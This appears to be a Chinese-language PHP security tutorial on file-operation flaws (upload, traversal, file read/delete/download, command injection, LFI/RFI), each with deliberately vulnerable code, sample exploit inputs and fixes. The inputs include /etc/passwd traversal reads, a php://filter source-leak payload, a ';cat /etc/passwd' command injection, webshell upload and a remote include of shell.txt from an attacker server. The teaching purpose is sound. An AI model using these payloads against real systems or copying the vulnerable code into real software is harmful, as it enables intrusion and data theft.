web安全代码基础-PHP(文件操作安全)
文件上传漏洞($_FILES + move_uploaded_file 未校验)
漏洞代码
<?php
// 危险代码:未校验后缀、MIME、文件内容,直接上传
if(isset($_FILES['file'])){
$tmp = $_FILES['file']['tmp_name'];
$name = $_FILES['file']['name'];
// 直接移动,无任何过滤
move_uploaded_file($tmp, "./upload/".$name);
echo "上传成功";
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传</button>
</form>
move_uploaded_file() :将上传的文件移动到指定位置的函数。
$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。
$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件MIME类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码
漏洞利用
1、直接上传 shell.php 一句话木马,访问 /upload/shell.php 即可执行代码;
2、绕过场景:黑名单仅过滤 php,可上传 php3/php5/phtml;
3、配合目录遍历:文件名 ../shell.php 穿越到网站根目录。
修复方案
1、白名单限制后缀仅允许 jpg/png/gif;
2、校验文件真实 MIME、文件头;
3、重命名文件,去掉原始文件名;
4、上传目录禁止解析 PHP(nginx/apache 配置)。
目录遍历漏洞(读取目录、scandir/readdir 可控路径)
漏洞代码
<?php
// 可控路径无过滤,存在路径穿越
$path = $_GET['path'];
$list = scandir($path);
foreach($list as $v){
echo $v."<br>";
}
?>
危险函数:
is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录,流式逐个读取
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
scandir() 函数返回指定目录中的文件和目录列表,以数组形式返回,一次性读取文件
漏洞利用
1、访问:dir.php?path=../../etc/ ,读取上级目录、系统敏感目录文件列表;
2、open_basedir 未限制时可遍历服务器全目录。
修复方案
// 限制只能访问当前目录
ini_set('open_basedir', __DIR__ . '/upload');
$base = __DIR__ . '/upload/';
$path = realpath($base . $_GET['path']);
// 判断最终路径是否在允许目录内
if(strpos($path, $base) !== 0){
die("非法路径");
}
//第一层:open_basedir:PHP系统级限制,任何访问外部的操作都会触发错误
//第二层:realpath() 规范化:消除 ..、.、符号链接等路径遍历技巧
//第三层:strpos() 前缀检查:确保最终路径确实在基准目录内,即使 open_basedir 失效
open_basedir:PHP的目录访问限制指令
__DIR__:PHP魔术常量,表示当前脚本所在的绝对路径
realpath() :
1、路径规范化:解析所有的 .、..、符号链接,转换为绝对路径
2、路径存在性验证:如果路径不存在,返回 false
3、消除路径遍历:将 ../../etc/passwd 等危险路径解析为真实路径
strpos() 作用:查找子字符串首次出现的位置
任意文件读取漏洞(file_get_contents /fopen 路径可控)
漏洞代码
<?php
// 危险:参数直接传入文件读取函数
$file = $_GET['f'];
echo file_get_contents($file);
?>
1、file_get_contents() 读取文件内容
2、fopen() fread() 文件打开读入
漏洞利用
1、读取本地敏感文件: read.php?f=../../etc/passwd(Linux) read.php?f=C:/Windows/win.ini(Windows)
2、配合协议:php://filter/read=convert.base64-encode/resource=index.php 读取源码
修复方案
路径白名单、限制根目录、过滤 ../、\、/ 穿越字符
任意文件删除漏洞(unlink 可控路径)
漏洞代码
<?php
$del_file = $_GET['file'];
unlink($del_file);
echo "删除成功";
?>
unlink() 文件删除函数
漏洞利用
del.php?file=../../config.php 直接删除网站配置文件。
修复方案
1、统一拼接固定目录前缀;
2、realpath 校验文件是否在允许目录;
3、禁止传入 ../
任意文件下载漏洞(header 下载头可控文件名)
漏洞代码
<?php
$file = $_GET['file'];
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".$file."\"");
header("Content-Length: ".filesize($file));
readfile($file);
?>
修改HTTP头实现文件读取解析下载
漏洞利用
down.php?file=../database.sql 下载数据库备份、配置文件
修复方案
固定下载目录,校验文件真实路径
命令执行删除(system/shell_exec 拼接可控参数)
漏洞代码
<?php
$name = $_GET['name'];
// 直接拼接进系统命令,命令注入
system("rm ./upload/".$name);
?>
漏洞利用
shell_del.php?name=1.txt;cat /etc/passwd 分号分割执行多条系统命令
修复方案
使用 escapeshellarg() 转义参数,禁用危险执行函数
<?php
$filename = $_GET['name'];
// 对传入参数完整转义,隔绝命令注入
$safe_name = escapeshellarg($filename);
system("rm ./upload/" . $safe_name);
原理:所有特殊符号 ; | & > < $ \ 都会被转义成普通字符串,无法拆分执行多条命令
文件包含漏洞(高危,include/require 可控参数)
常见文件包含函数:include、require、include_once、require_once等
1、本地文件包含 LFI 漏洞代码
<?php
// 未过滤直接包含
$page = $_GET['page'];
include($page);
?>
利用方式
1、读取本地任意文件: lfi.php?page=../../etc/passwd
2、PHP 伪协议读取源码(无文件上传时): lfi.php?page=php://filter/read=convert.base64-encode/resource=index.php
3、包含上传的图片马: lfi.php?page=upload/1.jpg(图片内插入 PHP 一句话木马)
2、远程文件包含 RFI(php.ini allow_url_include=On)
<?php
$url = $_GET['url'];
include($url);
?>
利用方式
rfi.php?url=http://攻击者服务器/shell.txt 远程加载恶意 PHP 代码直接执行。
修复方案
1、关闭 allow_url_include=Off;
2、使用白名单限制包含文件;
3、过滤 ../、php://、data://、http:// 等伪协议;
4、定后缀:include($page.'.php'); 强制只能引入 php 文件。
更多推荐
所有评论(0)